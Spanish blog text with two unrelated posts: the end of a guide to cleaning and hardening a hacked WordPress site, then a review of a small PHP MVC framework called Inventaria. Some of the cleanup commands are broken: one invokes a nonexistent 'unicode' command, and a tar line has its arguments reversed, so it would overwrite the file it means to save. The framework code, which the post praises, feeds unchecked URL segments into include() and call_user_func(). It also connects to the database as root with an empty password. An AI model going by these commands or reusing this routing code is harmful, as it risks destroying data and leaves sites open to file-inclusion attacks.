
Una vez hayas copiado los ficheros maliciosos o los hayas enviado por email , desde la consola con el comando cat fichero.php | mail tuemail o bien unicode ficheros.php | mailx tuemail , e incluso comprimirlos todos y envíartelos por email con un tar czf ficheros.php comprimido.tgz

entonces ,una vez hecho, lo mejor es que los borres o bien los reemplaces, si lo que se ha infectado es un tema o una parte de este, te recomiendo no usar ese tema hasta haber encontrado un parche para el mismo.

Si encuentras ficheros dentro del directorio de temas o el principal de wordpress con nombres raros como injektor.php, caracteresraros.php, nombresraros.php, te recomiendo que borres por completo el directorio de wordpress menos las imágenes, que están en wp-content, ah, y wp-config.php que es la configuración del blog…y vuelvas a subir WordPress actualizado.

 

Protección de un blog de WordPress

Ahora que has eliminado el contenido, ¿como protegerte para que no vuelva a pasar?, las medidas básicas de seguridad de un sistema de WordPress son

  • Cambiar el nombre de usuario de administrador
  • Proteger el directorio wp-admin con una clave de Apache
  • Tener una clave larga para administrar el contenido
  • Usar temas que sean seguros y fiables
  • Tener copias de seguridad de los ficheros y la base de datos automatizadas en el servidor
  • Restringir acceso a usuarios y si no es posible, darles el rol de menor permiso
  • No usar temas que usen scripts de generación de thumbnails o imágenes previas ni meta-programación
  • Proteger directorios con .htaccess y reglas avanzadas, por ejemplo, que sólo alguien con una sesión de wordpress pueda escribir en los directorios de wp-content, quitar permisos de escritura a wp-admin una vez configurado el blog ,etc.
  • No permitir comentarios o si no es posible, no permitir código XHTML sino BBCODE, para evitar ataques de tipo XSS y derivados
  • Instalar un script en el servidor que avise de los correos enviados desde el mismo, esto es algo más complejo pero es algo que te dará datos reales sobre los envíos de emails desde tu hosting y así localizarás rápidamente un spammer el mismo día que haga una irrupción
  • Usar los plugins justos, mucho cuidado con los plugins de contacto,formularios, bases de datos,etc. mientras menos mejor, si podéis programarlos vosotros mismos, genial
  • .htaccess: es decir, usar enlaces personalizados, que sean SEO amigables :)
  • No confíes en indexar todo el contenido con un plugin generador de robots.txt ni sitemap.xml, el de Google está bien pero tienes que tener muy actualizado, además podrás comprobar si las url’s que contienen tus posts siguen siendo válidas y no están marcadas como spam dentro de las propias herramientas para webmasters de Google

 

Unos consejos para saber más

Intenta decodificar usando la propia instrucción que usa el spammer para saber qué hace el script malicioso y entender qué es lo que busca, lo normal es que esté buscando un ordenador para hacer ataques DDOS o enviar correos de spam/scam (estafa) masivos, y si lo consigue nuestro host entrará a formar parte de una lista de spammers y los clientes no podrán recibir correos de nuestras cuentas de correo…

Enlaces del blog de @chemaalonso , experto en seguridad informática:

 

Ninguna protección es totalmente fiable, hay que estar al día de actualizaciones y saber en qué puedes confiar, siempre es bueno contar con un programador y un técnico de redes y sistemas que te ayuden y te aconsejen cuando el infierno se desata en tu sitio web.Proteger WordPress de spammers

Cómo crear tu propio framework PHP especializado en un tema: Inventaria

Si alguna vez os habéis preguntado qué framework o qué gestor de contenidos utilizar, y no habéis llegado a ninguna conclusión quizás es porque lo que realmente necesitéis lo podéis hacer vosotros mismos con un poco de esfuerzo…y digo esto porque lo que necesitamos últimamente en la comunidad de programadores es gente que haga las cosas bien, gente como Pedro Luis, que nos regala el código de una web que tuvo que realizar en su trabajo. Pedro es Ingeniero Informático y le gusta hacer las cosas como un ingeniero debe hacerlas, con base y fundamento jeje

Nuestro amigo ha subido a su directorio lo que véis en el vídeo, el proyecto Inventaria, un motor de sitio web para organizar departamentos de un colegio, la tecnología que utiliza en su pequeño y humilde pero potente framework es: jQuery, PHP, mySQL y XHTML+CSS. Está pensada para que se pueda escalar fácilmente, añadiendo nuevas clases que harán de controladores y vistas…sí, le falta el modelo para completar el círculo del patrón MVC pero, quién necesita realmente un modelo cuando tienes el gestor de plantilla Smarty?… puede hacer el controlador y la comunicación con este sistema de plantillas de modelo al mismo tiempo? efectivamente, y así es como nuestro querido amigo Pedro lo ha pensado y ahora, sigamos viendo algo de código.

La estructura del sitio es algo que ya hemos visto en otros frameworks más famosos, primero tiene un index.php y por medio de un fichero .htaccess , redirige todas las peticiones menos multimedia a este script, que simplemente se conecta a la base de datos y renderiza la vista que la acción de la URL especifica, algo que todos conocemos:

//Extract Controller, Action and parameters from URL
  $query = $_SERVER['QUERY_STRING'];
  $request = explode('/', $query);
  $controller = (!empty($request[1])) ? $request[1] : 'main';
  $action = (!empty($request[2])) ? $request[2] : 'index';

y Pedro lo hace de forma muy inteligente y compactada, como véis es código que se entiende a la primera incluso las condiciones anidadas en una única línea. El motor o núcleo es tan sencillo que entra en esas menos de 100 líneas, un resultado de una acción se guarda directamente filtrado y procesado mediante el uso a la llamada de un controlador asociado creado en la variable $instance, que es la instancia de la clase perteneciente al controlador que la URL especifica…

 

include('controllers/'.$controller.'.php');
$instance = new $controller;
$result = call_user_func(array($instance, $action), $params);
$view = $result['view'];
$data = $result['data'];
 
render_view($view, $data);

aquí podéis ver que se carga el controlador, se crea la instancia de la clase y se procesa el resultado para llamar seguidamente al renderizador de la vista, que podría ser,al mismo tiempo cualquier otra clase, pero en este caso es smarty y cerramos el ciclo del patrón Modelo – Vista – Controlador de una de las maneras más simples que he visto en estos días jeje

Si profundizamos en el Controlador, veremos que implementa sólo dos, el encargado de la página principal y el que maneja las materias del departamento del colegio, y funciona casi como una capa por encima de la clase de la base de datos, es decir, hace las consultas de listados, modificaciones, inserciones o borrados fáciles sólo pensando un poquito.

Para instalarlo sólo hay que crear una base de datos ,poner los valores de configuración en index.php e install.php, que por simplicidad ni siquiera se ha creado un config.php jaja, y lanzamos este install.php, tras lo que podemos cargar la web en el navegador.

Para probar este software directamente en mi PC me he bajado el maravilloso paquete de MoWeS (Servidor Apache2+mysql5+php5+image-magick+phpmyadmin en 23MB), he descomprimido Inventaria en el directorio www/inv de MoWeS, después he creado una base de datos con juego de caracteres UTF8 con una instrucción sencilla en phpmyadmin:

 

CREATE DATABASE `inventaria` DEFAULT CHARACTER SET utf8 COLLATE utf8_bin;

y he puestos los datos de configuración en index.php e install.php

  $host = 'localhost';
  $dbname = 'inventaria';
  $dbuser = 'root';
  $dbpass = '';

para lanzar localhost/inv/install.php ,lo que me devuelve:

Creating departments data table...OK
Creating materials data table...OK
Creating constraints...OK
Creating departments data
---------------------------
Creating Religión table...OK
Creating Plástica table...OK
Creating Ciencias Sociales table...OK
Creating Tecnología table...OK
Creating Francés table...OK
Creating Latín table...OK
Creating Música table...OK
Creating Gestión Administrativa table...OK
Creating Física y Química table...OK
Creating Educación Física table...OK
Creating Biología y Geología table...OK
Creating Filosofía table...OK
Creating Orientación table...OK
Creating Matemáticas table...OK
Creating Lengua table...OK
Creating Inglés table...OK

con lo cual, ya tenemos todo, ya podemos entrar en localhost/inv/. Si queremos cambiar el directorio inv por cualquier otro sólo tendríamos que cambiar las referencias en las plantillas de inv al nuevo nombre, por ejemplo, “inventaria”.
A partir de aquí ,es tarea del lector avanzar el proyecto y enfocarlo hacia una web que trate de manzanas, cómics, o por qué no? una tienda o cualquier otra cosa!
Ya no tenéis excusa para hacer las cosas bien desde cero, tenéis el conocimiento en vuestras manos, usadlo sabiamente :)

Mención especial a Pedro por compartir con nosotros su código, gracias!

Descargar inventaria.